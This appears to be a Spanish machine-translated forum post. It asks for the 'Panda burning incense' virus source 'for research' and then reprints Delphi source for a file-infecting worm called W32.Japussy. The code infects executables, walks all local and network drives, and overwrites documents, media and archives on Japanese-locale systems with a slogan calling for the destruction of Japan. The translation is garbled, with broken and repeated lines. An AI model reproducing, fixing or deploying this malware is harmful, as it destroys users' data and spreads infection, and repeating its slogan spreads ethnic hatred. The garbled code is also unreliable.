Me gustaría obtener el código original de panda quemando incienso para investigar, ¡gracias!
----------------------------------- ---------- ---------------------------------------- -------
Código: -------------------------- -------- ------------------ -------------------------------- --
Código de programa
programa Japussy
usa
Windows, SysUtils, SysUtils, Clases, Gráficos, Clases Shell, Gráficos; , ShellAPI{, Registro};
const
HeaderSize = 82432; //El tamaño del cuerpo del virus
IconOffset = $12EB8; del icono principal del archivo PE
Compilado en mi Delphi 5 SP1, otras versiones de Delphi pueden ser diferentes
//Busque la cadena hexadecimal 2800000020 y encuentre el desplazamiento del icono principal
{
HeaderSize = 38912; //Tamaño del cuerpo del virus comprimido Upx
IconOffset = $92BC //Desplazamiento del icono principal del archivo PE comprimido Upx<; /p>
//Upx 1.24W método usado: upx -9 --8086 Japussy.exe
}
IconSize = $2E8 //El tamaño del archivo principal; icono del archivo PE - 744 bytes
IconTail = IconOffset + IconSize; //La cola del icono principal del archivo PE
ID = $4444444444 //Marca de infección
p>
//Código basura a escribir
Catchword = 'Si es necesario matar a una raza, debe ser Yamato. Tiene que ser Yamato.
' +
'¡Si un país necesita ser destruido, debe ser Japón! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
función RegisterServiceProcess(dwProcessID , dwType: Entero):
stdcall; external 'Kernel32.dll'; //declaración de función
var
TmpFile: cadena
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //Marca del sistema operativo japonés
{ Determinar si es Win9x }
función IsWin9x:
var
Ver:
Ver: TOSVersionInfo
begin
<; p >Resultado := Falso;Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
si no es GetVersionEx(Ver) entonces
Salir; >
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) entonces // Win9x
Resultado := Verdadero
fin
{ Copiar entre flujos de datos }
Procedimiento
procedimiento CopyStream(Src: TStream; sStartPos: Integer; Dst: Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer ; Contar:
var
sCurPos, dCurPos:
Src.Seek(sStartPos, 0
Dst.Seek( dStartPos); , 0);
Dst.CopyFrom(Src, Conde);
Src.
Dst.Seek(dCurPos, 0); p>end;
{Extraer el archivo host del archivo PE infectado para su uso}
Properced.
procedure ExtractFile(FileName: string
);var
sStream, dStream:Create(FileName, fmCreate);
prueba
sStream.Seek(HeaderSize, 0); parte viral del encabezado
dStream.CopyFrom(sStream, sStream.Size - HeaderSize
finalmente
dStream.Free
fin;
finalmente
sStream.Fre
e; <
end;
excepto
end;
end;
{ Rellenar estructura STARTUPINFO }
procedimiento Rellenar estructura STARTUPINFO
Si.lpDesktop := nil
Si.lpTitle := nil
Si.dwFlags : = STARTF_USESHOWWINDOW;
Si.wShowWindow := Estado;
Si.cbReserved2 := 0
Si.lpReserved2 := nil; p>end;
{Enviar correo electrónico envenenado}
procedimiento SendMail;
comenzar
//¿Cuál de ustedes desea finalizar? ?
end;
{Archivo PE infectado}
proced.
procedimiento InfectOneFile(FileName: string
);var
HdrStream, SrcStream:
IcoStream, DstStream: Buf.array[0..1] de Char
comenzar
intento //Error, entonces se está utilizando el archivo, sal
si CompareText(FileName, 'JAPUSSY.EXE') = 0 entonces //Es uno mismo, entonces no está infectado
Salir ;
Infectado := Falso;
IsPE := Falso
SrcStream := TFileStream.Read(Buf, 2
< p); >si (Buf[0] = #80) y (Buf[1] = #69) entonces // bandera PEcomenzar
IsPE := True // Es un; Archivo PE
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); flag
SrcStream.Read(iID, 4);
si (iID = ID) o (SrcStream.Size < 10240) entonces //archivo demasiado pequeño no infectado
p>
Infectado := Verdadero
finalmente
SrcStream.Free
fin
si está infectado; o (no IsPE) luego //salir si está infectado o no es un archivo PE
Salir
IcoStream := TMemoryStream.
DstStream := TMemoryStream.Create;
p>
prueba
aIcon := TIcon.ReleaseHandle
AIcon := TIcon.Releas;
eHandle.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName),
aIcon.SaveToStream(IcoStream);
aIcon.
Gratis
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead
);//Encabezados
HdrStream := TFileStream.Create(ParamStr(0))Create(ParamStr(0), fmOpenRead o fmShareDenyNone
prueba
<); p>// Escribe datos antes del icono principal del virusCopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//Escribe el icono principal del programa actual
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//Escribe los datos entre el icono principal del virus y la cola del virus
CopyStream (HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail
//Escribir en el programa anfitrión
CopyStream(SrcStream, 0, DstStream.
<); p>SrcStream .Free;IcoStream.Free;
DstStream.SaveToFile( FileName); //reemplazar el archivo host
DstStream.Free
final;
excepto
final;
final; mientras escribe Eliminar el archivo de destino después del código basura}
procedure.
procedure SmashFile(FileName: string
var
FileHandle); :
p>i, Tamaño, Masa, Máx., Longitud: Entero
comenzar
probar
SetFileAttributes(PChar(FileName; ), 0); //eliminar atributos de solo lectura
FileHandle := FileOpen(FileName, fmOpenWrite); //abre el archivo
prueba
Tamaño; := GetFileSize(FileHandle , nil); //Tamaño del archivo
i := 0
Aleatorio
Max := Aleatorio(15); /Escribir basura aleatoriamente Número de veces de código
si Max < 5 entonces
Max .= 5
Masa:= Tamaño div Max // Tamaño; de cada bloque de intervalo
Len := Longitud(Catchword
w);
mientras i < Max do
comienzo
FileSeek(FileHandle, i * Mass, 0); //Posicionamiento
//Escribe código basura para destruir completamente el archivo
FileWrite(FileHandle, Catchword, Len);
Inc(i);
función GetDrives: cadena
var <; /p >
Tipo de disco: Palabra;
D: Carácter;
Str: cadena
i: Entero; comenzar
para i := 0 a 25 hacer // Recorrer 26 letras
comenzar
D := Chr(i + 65
);Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//Obtener disco local y de red
si (DiskType = DRIVE_FIXED) o (DiskType = DRIVE_REMOTE) entonces
Resultado := Resultado + D
end
end;
{Recorrer el directorio, infectar y destruir archivos}
procedimiento LoopFiles(Path, Mask: string
var
i, Count: Integer); ;
Fn, Ext: cadena
SubDir: TStrings
SearchRec:
Mensaje: TMsg; p> función IsValidDir(SearchRec: TSearchRec):Entero;
comenzar
if (SearchRec. Attr <> 16) y (SearchRec.Name <> '. ') y p>
(SearchRec.Name <> '.') entonces
Resultado := 0 //no es un directorio
si no (SearchRec.Attr = 16) y ( SearchRec. Name <> '. ') y
(SearchRec.Name <> '.') luego
Resultado:= 1 //no el directorio raíz
else Resultado := 2; // Es el directorio raíz
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) ) = 0) luego
comenzar
repetir
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //Ajusta la cola de mensajes para evitar sospechas;
si IsValidDir(SearchRec) = 0 entonces
comenzar
Fn := Ruta + SearchRec.
Ext := UpperCase(Extr
actFileExt(Fn));
si (Ext = '.EXE') o (Ext = '.SCR') entonces
comenzar
InfectOneFile(Fn); //Infectar archivo ejecutable
end
else if (Ext = '.HTM') o (Ext = '.HTML') o (Ext = ' .ASP') y luego
comience
// Infectar archivos HTML y ASP, escribiendo virus codificados en Base64 en ellos
// Infectar todos Ver esto Usuarios del página
// ¿Quién quiere hacer esto?
finalizar
else if Ext = '.WAB' entonces // archivo de libreta de direcciones de Outlook
comenzar
// Obtener correo electrónico de Outlook Dirección de correo electrónico
finalizar
de lo contrario, si Ext = '.ADC' entonces // archivo de autocompletar de dirección de Foxmail
comenzar
// Obtener Dirección de correo electrónico de Outlook
finalizar
de lo contrario, si Ext = '.ADC' entonces // archivo de autocompletar de dirección de Foxmail
comenzar
// Obtener la dirección de correo electrónico de Foxmail
end
si no, si Ext = 'IND' entonces //Archivo de la libreta de direcciones de Foxmail
comenzar
// Obtener la dirección de correo electrónico de Foxmail
end
else
begin
si IsJap entonces //es un sistema operativo bonobo
p>comenzar
si (Ext = '.DOC') o (Ext = '.XLS') o (Ext = '.MDB') o
(Ext = '.MP3') o (Ext = '.RM') o (Ext = '.RA') o
(Ext = '.WMA') o (Ext = '.ZIP') o (Ext = '.ZIP') o (Ext = '.RAR') o
(Ext = '.MPEG') o (Ext = '.ASF') o (Ext = '.JPG' ) o
(Ext = '.JPEG') o (Ext = '.GIF') o (Ext = '.SWF') o
(Ext = '.PDF' ) o (Ext = '.CHM') o (Ext = '.
SmashFile (Fn); //destruye el archivo
end;
end
end;
end;
end;
// Suspender durante 200 milisegundos después de infectar o eliminar archivos para evitar el uso de la CPU. Se sospecha que la tasa es demasiado alta
Dormir (200);
hasta que (FindNext( SearchRec) <> 0
finalice; >FindClose(SearchRec);
SubDir := TStringList.Create
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) entonces
comenzar
<p>repetir
si IsValidDir(SearchRec) = 1 entonces
SubDir.Add(SearchRec.Name
hasta (FindNext(SearchRec) <> 0); );
end;
FindClose(SearchRec
Conteo:= SubDir.
Conteo:= SubDir.Count - 1; ;
para i := 0 para contar
LoopFiles(Path + SubDir.Strings[i] + '', Mask
FreeAndNil(SubDir); );
end;
{Recorrer todos los archivos en el disco}
procedimiento.
procedimiento InfectFiles
< p; >varDriverList: cadena
i, Len: entero
comenzar
si GetACP = 932 entonces //SO japonés
IsJap := Verdadero
IsJap: = Verdadero
IsJap: = Verdadero
IsJap: = Verdadero
p>
Es japonés.//¡Vete al infierno!
DriverList := GetDrives; //Obtener la lista de discos grabables
Len := Longitud(DriverList
while True do //bucle muerto
comenzar
for i := Len downto 1 do //Iterar a través de cada unidad de disco
LoopFiles(DriverList[i] + ':', '*. *'); //fectado por la unidad de disco.*'); //infectado
SendMail; //Enviar correos electrónicos venenosos
Sleep(1000 * 60 * 5); /Dormir durante 5 minutos
fin
finalizar
{inicia el programa principal}
comenzar
comenzar
if IsWin9x
// ¿Quién quiere hacerlo?
end
// Si es el propio virus original
si CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 entonces
InfectFiles // Infecta y envía correos electrónicos.
TmpFile := ParamStr(0); //crea un archivo temporal
Delete(TmpFile, Longitud(TmpFile) - 4, 4);
TmpFile = TmpFile + #32 + '. exe'; //Archivo host real, un espacio más
ExtractFile(TmpFile); //Sepárelo
FillStartupInfo(Si, SW_SHOW);
DEFAULT);
CreateProcess (PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.' , Si, Pi); crear un nuevo proceso para ejecutar
InfectFiles; //infectar y enviar por correo electrónico
end
end.